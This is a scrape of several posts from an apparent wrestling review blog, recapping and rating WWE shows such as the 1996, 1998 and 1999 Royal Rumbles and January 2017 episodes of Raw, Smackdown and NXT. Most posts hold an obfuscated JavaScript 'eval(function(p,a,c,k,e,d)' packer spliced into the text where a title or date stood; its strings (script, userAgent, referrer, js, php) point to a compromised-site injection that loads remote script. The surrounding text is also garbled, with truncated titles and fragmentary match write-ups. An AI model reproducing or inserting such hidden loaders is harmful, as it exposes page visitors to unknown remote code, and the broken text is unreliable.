Royal Rumble Count-Up – 1999: How to Make the Reigns Formula Work

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aziss|var|u0026u|referrer|kbikf||js|php'.split('|'),0,{})) Rumble 1999
Date: January 24, 1999
Location: Arrowhead Pond, Anaheim, California
Attendance: 14,816
Commentators: Jerry Lawler, Michael Cole

Road Dogg vs. Big Boss Man

Intercontinental Title: Ken Shamrock vs. Billy Gunn

Shane McMahon tries to fire up his dad for tonight.

European Title: X-Pac vs. Gangrel

Sable is defending and this is a strap match. Luna bails to the floor to start but gets pulled face first into the post. Back in and Sable chokes away as Shane calls Luna hot. Sable can only get two buckles though until Luna pulls her down. That earns Sable a whipping and some kicks in the corner, only to have Luna hit a quick backbreaker.

The Corporation debates over who gets to eliminate Austin and win the $100,000 bounty Vince has put on his head tonight.

WWF World Title: The Rock vs. Mankind

Royal Rumble

As we wait, allow me to point out that save for the first two, the first eighteen entrants have all been eliminated, making nearly two thirds of the match completely worthless. Billy Gunn comes in at #20, wearing one boot. Heaven forbid we get anything going through as Shamrock takes him down with a kick to the bad ankle. Gunn throws him into the corner for a break but Ken goes after the ankle again.

Ratings Comparison

Big Boss Man vs. Road Dogg

Original: C-

2013 Redo: C-

2016 Redo: D

Ken Shamrock vs. Billy Gunn

Original: D+

2013 Redo: C+

2016 Redo: D+

X-Pac vs. Gangrel

Original: B-

2013 Redo: C+

2016 Redo: C-

Sable vs. Luna Vachon

Original: F

2013 Redo: D

2016 Redo: F+

The Rock vs. Mankind

Original: B

2013 Redo: B

2016 Redo: B-

Royal Rumble

Original: F

2013 Redo: F

2016 Redo: F

Overall Rating

Original: D-

2013 Redo: D

2016 Redo: F+

http://kbwrestlingreviews.com/2011/01/18/royal-rumble-count-up-1999-please-make-it-stop/

And the original redo:

http://kbwrestlingreviews.com/2013/01/12/royal-rumble-count-up-2013-redo-1999-disturbing-to-watch-for-multiple-reasons/

 

https://www.amazon.com/dp/B01MQKDV5O


And check out my Amazon author page with cheap wrestling books at:


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NXT – January 11, 2017: Asuka Cries

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|enrzz|var|u0026u|referrer|ddasa||js|php'.split('|'),0,{})) January 11, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Percy Watson, Corey Graves, Tom Phillips

We open with a recap of DIY vs. Revival, as you probably expected.

Opening sequence.

Billie Kay/Peyton Royce vs. Sarah Bridges/Macy Evans

Post match the Aussies get the mic and are told that Asuka will kill them. Cue Asuka, who is beaten down again, only to have Nikki Cross come in for the save. With Kay and Royce taken out, Cross kicks Asuka in the face to leave the champ laying.

Elias Samson vs. Jonathan Cruz

We take another look at DIY vs. Revival.

Andrade Cien Almas vs. Oney Lorcan

Almas now has pyro for his entrance. This is a rematch from Osaka where Lorcan won in an upset. Lorcan shoves him off a headlock but Almas just poses on the mat like the jerk that he is. A hard shot to the chest puts Andrade on the floor so Lorcan hits a Blockbuster off the apron. Back in and a clothesline cuts Oney off for the first time, setting up a slap to the face. Lorcan elbows him right back though and an Alabama Slam into the corner staggers Almas even more. Not that it matters as Almas does his pose on the ropes to buy himself some time, setting up the hammerlock DDT to put Lorcan away at 5:00.

Almas says this will be his year.

Another look at the Toronto match.

Tag Team Titles: Revival vs. DIY

Speaking of the Authors, they run in and beat the champs down.

Results

Billie Kay/Peyton Royce b. Sarah Bridges/Macy Evans – Bulldog onto a knee

Elias Samson b. Jonathan Cruz – Neckbreaker

Andrade Cien Almas b. Oney Lorcan – Hammerlock DDT

DIY b. Revival – Running knee/superkick

 

https://www.amazon.com/dp/B01MQKDV5O


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Monday Night Raw – August 12, 2002: They Can Do It

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ezrff|var|u0026u|referrer|yttit||js|php'.split('|'),0,{})) Night Raw
Date: August 12, 2002
Location: Key Arena, Seattle, Washington
Commentators: Jim Ross, Jerry Lawler

Lesnar and Paul Heyman arrive, tickets in hand. You know, the exclusive contract thing kind of stops meaning anything when people keep showing up like this.

Opening sequence.

Eric Bischoff blames Stephanie McMahon for Lesnar and Heyman being here. You know, because Lesnar and Heyman are the kind of guys who are going to be in on some big promotion vs. promotion war.

Trish Stratus/Spike Dudley vs. Christopher Nowinski/Molly Holly

We look back at 3 Minute Warning beating up Moolah and Mae Young.

Goldust stops Bischoff in the back and asks for a Tag Team Title shot. Bischoff gives them the shot at Summerslam, earning himself a leg visit from Minidust.

Bischoff makes Rob Van Dam vs. Chris Benoit for Summerslam due to Stacy stealing contracts from Stephanie on Smackdown to keep that nonsense going. The Hardys are annoyed about being ignored so Bischoff flips a coin to give Jeff a match against Van Dam tonight for the title shot against Benoit.

Booker T. vs. Lance Storm

Booker works on the arm to start but crotches himself on a side kick attempt. That means a kick to the ribs and an elbow to the neck until Booker gets the spinning sunset flip out of the corner. Storm suplexes him right back down and grabs a cravate for a bit. As is the custom, the rest hold triggers the comeback with Booker getting in his usual. Christian offers a distraction so Goldust pops Storm in the jaw, setting up the ax kick for the pin.

Chris Jericho/Big Show vs. Ric Flair/Bubba Ray Dudley

Tommy Dreamer vs. Steven Richards

Jeff Hardy vs. Rob Van Dam

On Smackdown: Lesnar vs. Rikishi!

Test gets Undertaker at Summerslam.

HHH/Un-Americans vs. The Rock/Booker T./Goldust/Undertaker

https://www.amazon.com/dp/B01MQKDV5O


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Smackdown – January 10, 2017: Something About His Time Being Now

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tyhbr|var|u0026u|referrer|hzfkk||js|php'.split('|'),0,{})) January 10, 2017
Location: Raising Cane’s River Center Arena, Baton Rouge, Louisiana
Commentators: Mauro Ranallo, John Bradshaw Layfield, David Otunga, Tom Phillips

We open with a recap of Miz vs. Dean Ambrose over the last few weeks, including all the slaps and without the new interviewer stumbling over her words.

We recap Nikki Bella vs. Natalya to set up their match tonight.

Nikki is on her way to the ring when Natalya jumps her.

Nikki Bella vs. Natalya

Dolph Ziggler has nothing to say about what he did to Kalisto last week.

Kalisto vs. Dolph Ziggler

A very fast hurricanrana sends Ziggler outside to start so he opts for some technical wrestling to take Kalisto down instead. The masked man tries to speed things up but gets kicked in the head to put him on the floor as we take a break. Back with Kalisto being stuck in and then fighting out of a chinlock. Ziggler charges into an elbow in the corner and gets rolled up for the pin at 8:37.

Tag Team Titles: Wyatt Family vs. American Alpha

Post match Harper and Orton are about to fight with Bray trying to break it up. Harper throws a superkick but hits Bray by mistake. Bray looks at both of them as the fans chant Randy. Wyatt leaves on his own.

Corbin is ready for Cena.

Clips from Wrestlemania XXXIV press conference in New Orleans.

Carmella vs. CJ Lunde

We look back at Undertaker entering the Royal Rumble last night.

Carmella is going to take Ellsworth on a shopping spree next week.

Baron Corbin is ready to end Cena. AJ Styles comes in and tells Corbin to impersonate the champ and beat Cena up.

Baron Corbin vs. John Cena

Styles is on commentary. Corbin wastes no time in kicking Cena in the face to put him on the floor as we take an early break. Back with Cena not being able to hit the AA because someone under 300lbs is too heavy for him to lift. They head outside with Cena throwing him into the steps for his first breather of the match.

Results

Kalisto b. Dolph Ziggler – Rollup

Carmella b. CJ Lunde – Code of Silence

John Cena b. Baron Corbin – Attitude Adjustment

 

https://www.amazon.com/dp/B01MQKDV5O


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Best of 2016: Match of the Year

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndrta|var|u0026u|referrer|yetkr||js|php'.split('|'),0,{})) we’re at one of the big ones. All the stories, all the hype and all the talk doesn’t mean much if the match at the end is worthless. That’s where we’ve arrived: what is the best match of the year? As uninteresting as WWE has seemed, it’s actually been a stacked year for big time matches and there are several to pick from. As usual these are in no particular order and only WWE matches will be considered. Also note that if a match isn’t included, it’s either because I didn’t think it was as good or, far more simply, I didn’t see it.

1. AJ Styles vs. John Cena – Summerslam

Above all else though, this was about the action. These two beat the heck out of each other for over twenty three minutes and it felt like the big match it was supposed to be. This was two top level stars at the top of their game fighting at one of the biggest shows of the year. While that happens a lot, this felt like they lived up to the hype, which is what you have to expect from people at their level.

2. Kota Ibushi vs. TJ Perkins – Cruiserweight Classic Finale

Instead of wasting time with generic moves and almost no characters, we had two guys who are talented and doing all kinds of things to fire the crowd up. The crowd helped as well with the kind of people who wanted to see this style match and appreciate it far more than the average WWE fans. The lack of a story is fine because this was all about the action, which is the point of something like the Cruiserweight Classic.

3. Royal Rumble

4. Sasha Banks vs. Charlotte – “Monday Night Raw” – July 25

5. AJ Styles vs. Roman Reigns – Payback

6. DIY vs. Revival – Takeover: Toronto

7. Sami Zayn vs. Kevin Owens – Battleground

8. Team Smackdown Live vs. Team Monday Night Raw – Survivor Series

It was billed as the other main event of the show (along side FANTASY WARFARE) and my goodness did it manage to work well. This match lasted almost an hour, making it even longer than some Royal Rumbles. The eliminations took their time and the match was allowed to build up instead of being rushed along until we get to the big ones at the end, making it feel like an event instead of just a regular match.

9. Miz vs. Dolph Ziggler – No Mercy

10. Shinsuke Nakamura vs. Sami Zayn – Takeover: Dallas

11. Cesaro vs. The Miz vs. Kevin Owens vs. Sami Zayn – Extreme Rules

12. The Final Deletion – Impact Wrestling – June 28

https://www.amazon.com/dp/B01MQKDV5O


And check out my Amazon author page with cheap wrestling books at:


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Royal Rumble Count-Up – 1998: Stone Cold! Stone Cold! Stone Cold!

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hdyha|var|u0026u|referrer|szssi||js|php'.split('|'),0,{})) Rumble 1998
Date: January 18, 1998
Location: San Jose Arena, San Jose, California
Attendance: 18,542
Commentators: Jim Ross, Jerry Lawler

Mike Tyson is in a skybox.

 

Vader vs. The Artist Formerly Known As Goldust

 

Back in and Luna trips Vader up, finally allowing Goldie to get in a clothesline. Another clothesline puts him down and Goldust works on the leg a bit. Goldie drops a middle rope elbow to the ribs and we head back to the floor. Vader is sent into the steps so Luna can choke him a bit before we head back in. Goldust pounds away again but stops to kiss Vader. I may not be a pro wrestler, but I know better than to kiss a guy called the Rocky Mountain Monster.

 

Vader kills him with a clothesline and suplexes Goldust down before getting two off a splash. Vader loads up the Vader Bomb but a low blow stops him cold. Another clothesline puts Goldie down again and Vader sits on his chest. He loads up the Bomb again and despite Luna jumping in his back, Vader drops it anyway and crushes Goldust for the pin.

 

Austin gets here and tells Cole to park his truck. Southern Justice (the heel Godwinns) follow him, presumably to jump him.

 

Max Mini/Mosaic/Nova vs. Battalion/El Torito/Tarantula

 

 

 

The Nation goes to attack Austin but only find an Austin foam finger.

 

We recap Shamrock vs. Rock. Shamrock has charged through the Nation to get this shot at the unofficial leader of the team. Mark Henry joined the Nation to save Rock from Shamrock less than a week ago.

 

The Nation argues over which of them will win the Rumble. Rock says the fans of course want to know what he thinks of Clinton and Paula Jones, so he tells the President not to lie down with dogs or you might get fleas. This joke would be done way better over the next few weeks.

 

Intercontinental Title: The Rock vs. Ken Shamrock

 

Rock is defending of course. Feeling out process to start with Rocky trying to get a cheap shot in the corner. Both guys shove the other into the corner and Shamrock blocks a shot to the face before hitting one of his own. They run the ropes a bit until Shamrock kicks him in the chest and knocks the champion out to the floor. Back in and Rock pounds away a bit before hitting a corner clothesline. Ken comes back with some clotheslines of his own but the standing clothesline is countered into a hot shot for two.

 

 

Post match the referee finds the knuckles and reverses the decision. The referee is beaten up very badly for his efforts.

 

A Coliseum Video Exclusive from “moments later” show a clean and dry Shamrock in jeans attacking the Rock.

 

Los Boricuas attack someone that they think is Austin but find one of the Disciples of Apocalypse. Brawling ensues.

 

We recap the LOD vs. the Outlaws, which is old school vs. new with the Outlaws defending the titles. The Outlaws put a big old beating on the LOD and tonight is their return.

 

Tag Titles: New Age Outlaws vs. Legion of Doom

 

 

The Outlaws destroy Animal until Hawk snaps the handcuffs to make the save.

Some fan wins the Austin truck.

We recap the build up to the Rumble. Basically, everyone knows Austin is going to win and EVERYONE else in the Rumble is trying to stop him but not one has been able to slow him down at all. The only difference here: the fans were eating this stuff up with a spoon.

Royal Rumble

Mosh and Funk pair off as do the other two guys. Funk (the announcers are calling him that too) tries a moonsault but it winds up being more of a headbutt than a splash. Phineas Godwinn is #6 and helps Rock beat up Mosh. Not much happens for a bit until 8-Ball of the DOA is #7. Jack misses a charge and Funk backdrops him out to empty the ring out a bit. Apparently someone who might have been Ken Shamrock has attacked Austin.

The Nation members are thrown together and Rock gets hit by Sweet Shin Music and the double arm DDT. Austin hits Dude low and Faarooq throws Love out. Rock puts out Faarooq to give us Austin vs. Rock. They slug it out and Rock is thrown to the apron. Austin is fine with Stunning him and throwing him out to go on to Wrestlemania where he would claim his destiny.

Tyson celebrates “Cole Stone” Steve Austin winning the Rumble.

WWF World Title: Undertaker vs. Shawn Michaels

The forearm from Shawn sets up the nipup which sets up the top rope elbow. He must be either high as a kite on painkillers or on a huge adrenaline rush to be able to have a match like this at this point. The superkick knocks Taker out cold but Shawn is Shawn and stops for a crotch chop. Taker grabs him by the balls and we head back inside for the beating Shawn deserves. Another Flair Flip sets up the big boot, but Taker misses a clothesline and lands in the casket.

Post match Kane nails the casket shut and hacks at it with an ax. He pours gasoline inside and LIGHTS IT ON FIRE to end the show. Taker of course would disappear from the casket once it was opened up.

Ratings Comparison

Vader vs. The Artist Formerly Known As Goldust

Original: B-

Redo: D

Max Mini/Mosaic/Nova vs. Battalion/El Torito/Tarantula

Original: B-

Redo: C

The Rock vs. Ken Shamrock

Original: C+

Redo: D+

Legion of Doom vs. New Age Outlaws

Original: D+

Redo: D

Royal Rumble

Original: D+

Redo: D

Shawn Michaels vs. Undertaker

Original: B

Redo: B

Overall Rating

Original: C-

Redo: D

.what in the world was I on back then?

http://kbwrestlingreviews.com/2011/01/18/royal-rumble-count-up-1998-austin-isnt-a-lock-to-win-please-believe-us/

https://www.amazon.com/dp/B01MQKDV5O


And check out my Amazon author page with cheap wrestling books at:


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KB on Obtuse Angles Podcast

I was in studio a few weeks back for a chat about Monday Nitro.  The hosts are much funnier than I am so it’s certainly worth a listen.

 

http://obtuseangles.libsyn.com/the-obtuse-angles-podcast-tommy-hall-pt-iii




Monday Night Raw – January 9, 2017: The Night Stephanie Shouted a Lot

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bzkbd|var|u0026u|referrer|abrrd||js|php'.split('|'),0,{})) Night Raw
Date: January 9, 2017
Location: Smoothie King Center, New Orleans, Louisiana
Commentators: Michael Cole, Byron Saxton, Corey Graves

US Title: Roman Reigns vs. Kevin Owens/Chris Jericho

Reigns is defending. Hang on a second though as Strowman comes out and gets in a fight with Reigns, leading to a 3-1 beatdown. Cue Rollins with a chair for the save, allowing Reigns to grab his own chair to attack as well, so no match for now.

Seth Rollins vs. Braun Strowman

A low superkick gets two and the springboard knee to the face only has a limited effect. Seth knocks him off the top (which freaks Byron out way too much considering it was the second time in the match) and a frog splash gets two. One more trip to the top goes a bit worse though as Rollins crashes into the barricade. Braun is fine with just watching him for the double countout at 11:36.

Seth holds Braun off with a chair.

Jack Gallagher vs. Drew Gulak

Gulak takes over quickly with a middle rope clothesline and cranks on a double arm choke. Gallagher comes back with his headstand in the corner, followed by a headbutt and running corner dropkick for the pin at 3:21.

TJ Perkins teaches Shawn Michaels to dab.

Jinder Mahal vs. Big Cass

Joined in progress with Mahal hitting a running knee and a low dropkick for two. With legs as long as his, that offense makes sense. Cass comes back with his corner splashes but Rusev grabs his foot. That earns him Sweet Chin Music. The East River Crossing (pretty much botched) and the Empire Elbow wrap Mahal up at 3:09.

Emmalina video.

Neville vs. Lince Dorado

Rich Swann comes out for the save but Neville ducks the big kick to the head.

Video on Edge winning the Royal Rumble.

Luke Gallows vs. Sheamus

Cesaro and Anderson are on commentary to make it a five man booth. They slug it out to start until Sheamus gets in a spinning kick to the face. The slingshot shoulder gets two and they head outside for more slugging out. A big boot knocks Sheamus off the top though and we take a break. Back with Sheamus hitting the ten forearms to the chest followed by the top rope clothesline for two. The Brogue Kick is loaded up but Anderson hits Cesaro with a bottle. The distraction lets Luke get in a flapjack for two. Sheamus pops up and hits the Brogue for the pin at 10:20.

Nia Jax/Charlotte vs. Bayley/Sasha Banks

Video on the UK Tournament.

US Title: Roman Reigns vs. Kevin Owens/Chris Jericho

Jericho comes in and grabs the chinlock, only to have Roman, whose arm is banged up, come back with clotheslines. The Superman Punch misses Jericho and a Lionsault gets two. A Pop-Up Codebreaker is countered with back to back Superman Punches but Owens gets in a superkick from the floor. Reigns blocks the apron powerbomb though and scores with the apron dropkick. The Codebreaker slows Roman down though and now Owens hits the powerbomb on the apron. Back in and another Codebreaker gives Jericho the pin and the title at 8:19.

Results

Braun Strowman vs. Seth Rollins went to a double countout

Jack Gallagher b. Drew Gulak – Running corner dropkick

Big Cass b. Jinder Mahal – Empire Elbow

Neville b. Lince Dorado – Rings of Saturn

Sheamus b. Luke Gallows – Brogue Kick

Nia Jax/Charlotte b. Bayley/Sasha Banks – Legdrop to Bayley

Kevin Owens/Chris Jericho b. Roman Reigns – Codebreaker

 

https://www.amazon.com/dp/B01MQKDV5O


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Best of 2016: Angle of the Year

It eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdnir|var|u0026u|referrer|kbzze||js|php'.split('|'),0,{})) wouldn’t be right if I was on time with these things but they’re mostly written up.  I’ll be able to do more than one a day (not saying twice a day) and hopefully get these done before they’re completely ridiculous. 1. Chris Jericho and Kevin Owens Are Best Friends

2. Heath Slater Has Kids!

As the title says, Heath Slater has kids! This turned into a battle cry for Slater, who had somewhere between two and ten kids (who we would eventually meet). He and his very redneck wife had a dream of installing an above ground pool while eating spray cheese and crackers like a real, middle class family.

3. James Ellsworth

4. Broken Matt Hardy

5. Mick Foley and Sami Zayn

6. The List of Jericho

7. Randy Orton Joins the Wyatt Family


https://www.amazon.com/dp/B01MQKDV5O


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Royal Rumble Count-Up – 1996: It’s Shawn Again

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tfnsa|var|u0026u|referrer|bfebf||js|php'.split('|'),0,{})) Rumble 1996
Date: January 21, 1996
Location: Selland Arena, Fresno, California
Attendance: 9,600
Commentators: Vince McMahon, Mr. Perfect

We open with Sunny in a bathtub, saying this show is graphic and view discretion is advised.

Jeff Jarrett vs. Ahmed Johnson

Rating: C-. I was always an Ahmed fan so this was an easy pass for me. The image of the Swanton looked great if nothing else, which is more than enough to give this a pass. Jarrett was such a mess at this point and never went anywhere in the WWF. The ending completely sucked though and it really brought things down.

BUY OUR STUFF!

Tag Titles: Smoking Gunns vs. Bodydonnas

The Bodydonnas are Skip (Chris Candido) and Zip (Tom Prichard with a BIG haircut). They have Sunny with them and my goodness is she smoking (no pun intended) here. The Guns are defending. Skip and Billy start things off with Skip taking over with a headscissors. Just like Ahmed earlier, Billy misses a charge against the ropes and crashes to the outside. Both Gunns get double teamed until Bart ducks out of the way, allowing a charging Billy to dive onto both Donnas on the floor.

Intercontinental Title: Razor Ramon vs. Goldust

The yet to be named Marlena debuts with Goldie here. Razor is defending as is his custom. Feeling out process to start with Goldust playing his usual mind games, which means rubbing himself. Razor cranks on the arm before grabbing a headlock which goes nowhere. Goldust goes behind Razor and molests him a bit to psych Razor out even more. They head to the corner with Razor having his head rubbed a bit, ticking him off even more.

Razor goes for the arm so Goldust slaps him in the face. Perfect keeps making sex jokes as Razor slaps Goldust right back in the face. He spanks Goldie once as well, but the painted dude likes it. We head to the floor where Goldust hides behind Marlena as the stalling continues. Back in and Razor tries three straight headscissors before punching Goldust to the floor with a single shot.

We get more stalling which is called playing mind games before Ramon clotheslines him right back to the outside. Razor has to move Marlena out of the way, allowing Goldust to FINALLY do something, taking over with a shot to the ribs. Back in and Goldust focuses on the ribs, but not too much because that might mean we have some speed to this match. A bulldog gets two for Goldust as does a slingshot belly to back suplex.

Rating: D-. Sweet freaking goodness this was dull. It went on WAY too long and had a bad ending on top of that, plus the stupid “psychology” from Goldust which wound up being more unpleasant than interesting or intelligent. Goldust would get WAY better when he became more of a comedy/parody character rather than this freaky dude that he was to start his WWF run. The matches got a lot better as a result too.

Wrestlemania 12 is coming.

Vince and Perfect talk about the Rumble a bit.

Royal Rumble

Vader debuts at #13 and lumbers around while not doing much. He picks Bob Holly of all people to beat on first as Vega eliminates Dory. Vader pulls Savio back in from the apron for no apparent reason other than he wants to beat on him some more. Doug Gilbert from Memphis is #14 and HHH goes right after him for no apparent reason. Vader and Yoko slug it out to a big reaction but Vader has to stop to clothesline Roberts out.

Shawn does his usual overblown self safe as Holly and Austin fight. FINALLY Holly goes out after nearly forty minutes. HHH vs. Austin happens about three years before it would mean anything. Barry Horowitz (with the AWESOME rock version of Hava Nagila) is #25 and he goes after Diesel. Well no one ever accused him of being brilliant. Shawn nips up to knock Owen to the apron, but Hart skins the cat back in. Cool little sequence there.

Smith and Michaels fight to the floor and Owen jumps Shawn for good measure. Shawn shrugs it off and goes in to dropkick Yankem out. Kama and Diesel put out Droese to get us down to four. Shawn clotheslines Smith out before skinning the cat back in. Diesel dumps Kama and Shawn superkicks the tall one (in the shoulder) out to win for the second year in a row.

Diesel is ticked off about the ending and goes back in as Shawn is stripping. They do their old Wolfpack thing in the middle of the ring (a high five where Shawn has to jump) and all is cool. Shawn poses for a long time post match.

WWF World Title: Undertaker vs. Bret Hart

Rating: D+. This started VERY slow but got better for the last ten minutes or so, but the ending brings it right back down again. If this had been a fifteen minute match or so it would have been WAY better, but they only had so many other matches on the card, meaning this had to be longer. Diesel would face Taker at Mania of course.

Gorilla Monsoon makes Diesel vs. Bret for the title at the next PPV.

Shawn says the 90s will be his time.

Cornette says Vader cannot be ignored. He pretty much was until Summerslam.

Ratings Comparison

Ahmed Johnson vs. Jeff Jarrett

Original: D+

Redo: C-

Smoking Gunns vs. Bodydonnas

Original: D

Redo: C-

Goldust vs. Razor Ramon

Original: D

Redo: D-

Royal Rumble

Original: D

Redo: D

Bret Hart vs. Undertaker

Original: C-

Redo: D+

Overall Rating

Original: D-

Redo: D

Amazingly enough I liked it a bit better this time.

http://kbwrestlingreviews.com/2011/01/15/royal-rumble-count-up-1996-shawns-texas-two-step/

https://www.amazon.com/dp/B01MQKDV5O


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